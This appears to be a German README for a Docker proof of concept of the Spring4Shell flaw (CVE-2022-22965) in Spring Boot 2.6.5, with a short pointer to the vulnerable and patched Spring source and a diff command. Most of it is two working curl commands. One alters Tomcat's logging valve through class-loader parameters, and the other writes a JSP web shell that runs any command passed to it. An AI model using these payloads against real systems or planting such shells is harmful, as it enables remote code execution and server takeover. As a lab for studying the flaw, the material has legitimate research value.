
Docker PoC für CVE-2022-22965 mit Spring Boot Version 2.6.5
Docker PoC für CVE-2022-22965 mit Spring Boot Version 2.6.5

docker compose up --build aus, um die verwundbare Anwendung zu bauen und zu starten.curl -H "Accept: text/html;" "http://localhost:8080/demo/itsecurityco?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%63%6f%64%65%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" aus, um die Tomcat-Konfigurations-Valve zu ändern.curl -H "Accept: text/html;" -H "code: <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(String.valueOf(1337))).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1) { out.println(new String(b)); } %>" "http://localhost:8080/demo/x" aus, um die Web-Shell zu erstellen.Der Quellcode für Spring Framework 5.3.17 (verwundbar) und Spring Framework 5.3.18 (gepatcht) kann jeweils von folgenden URLs heruntergeladen werden:
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip
Die Schwachstelle befindet sich in der Datei /spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java in Zeile 290, wo eine Validierung für die Methoden Class.getClassLoader() und getProtectionDomain() angewendet wird, jedoch nicht für die Typen ClassLoader, ProtectionDomain und die Namen von PropertyDescriptors.
Der Unterschied zwischen dem verwundbaren und dem gepatchten Code kann mit dem Befehl diff ermittelt werden.
$ diff spring-framework-5.3.17/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java spring-framework-5.3.18/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java
